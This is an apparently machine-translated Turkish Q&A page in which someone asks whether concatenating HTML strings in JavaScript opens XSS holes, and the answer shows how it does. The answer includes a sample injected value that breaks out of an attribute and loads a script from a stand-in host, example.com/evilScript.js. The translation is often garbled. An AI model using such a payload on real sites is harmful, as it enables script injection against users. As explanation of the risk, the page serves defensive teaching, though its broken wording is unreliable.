Gerçekten Javascript, HTML dizeleri oluşturmak için güvensiz mi?
Sitemizde barındıran şirket son zamanlarda bize bu anlattıklarını dağıtma - önce kodu yorumları:
HTML dizeleri asla bize açılır gibi doğrudan manipüle edilmelidir potansiyel XSS delik. Bunun yerine, her zaman oluşturmak için DOM apı kullanır birleşeni...bir WordPress kullanmak veya doğrudan DOM API olabilir.
Örneğin, yerine
this.html.push( '<a class="quiz-au" data-src="' this.au '"><span class="quiz-au-icon"></span>Click to play</a>' );
Bize söyledikleri
var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );
Bu gerçekten doğru mu? Kimse bize ilki gibi HTML bir dize yararlanabilir XSS saldırı bir örnek verebilir misiniz?
CEVAP
Eğer this.au
bir şekilde değiştirilmiş ise, bu gibi şeyler içerebilir:
"><script src="http://example.com/evilScript.js"></script><span class="
Bu kadar karmaşa HTML ve komut dosyası enjekte edeceğiz:
<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>
Eğer DOM manipülasyon src
özniteliği ayarlamak için kullanırsanız, komut (veya kullanmak ne olursa olsun) düzgün DOM API ile kaçmış olacak gibi idam olmayacak.
Yanıt bazı yorumcular kim söylüyor biri olabilir değiştir this.au
, şüphesiz onlar çalıştırmak senaryo üzerinde kendi: bilmiyorum this.au
gelen, ne de, özellikle ilgili. Veritabanından bir değer olabilir, ve DB sızmış olabilir. Ayrıca kötü niyetli bir kullanıcı şeyler için uğraşmaya olabilirdiğerkullanıcılar. "def" > "abc"
yazılı şeyleri yok edeceğini fark etmemişti masum olmayan teknik okul bile olabilir.
Bir şey daha var. Kodu var quizAuLink = $( 'a' );
<a>
yeni bir unsuru oluşturmaz verilmiştir. Sadece mevcut olanları seçin. var quizAuLink = $( '<a>' );
yeni bir tane oluşturmak için kullanmanız gerekir.
Orada javascript ile html oluşturmak i...
Nasıl javascript ve/garip sınıfları ne...
Nasıl bir bağlantı gibi davranan bir H...
Nasıl tıklanabilir bir etiket olan bir...
HTML elemanları jQuery kullanarak oluş...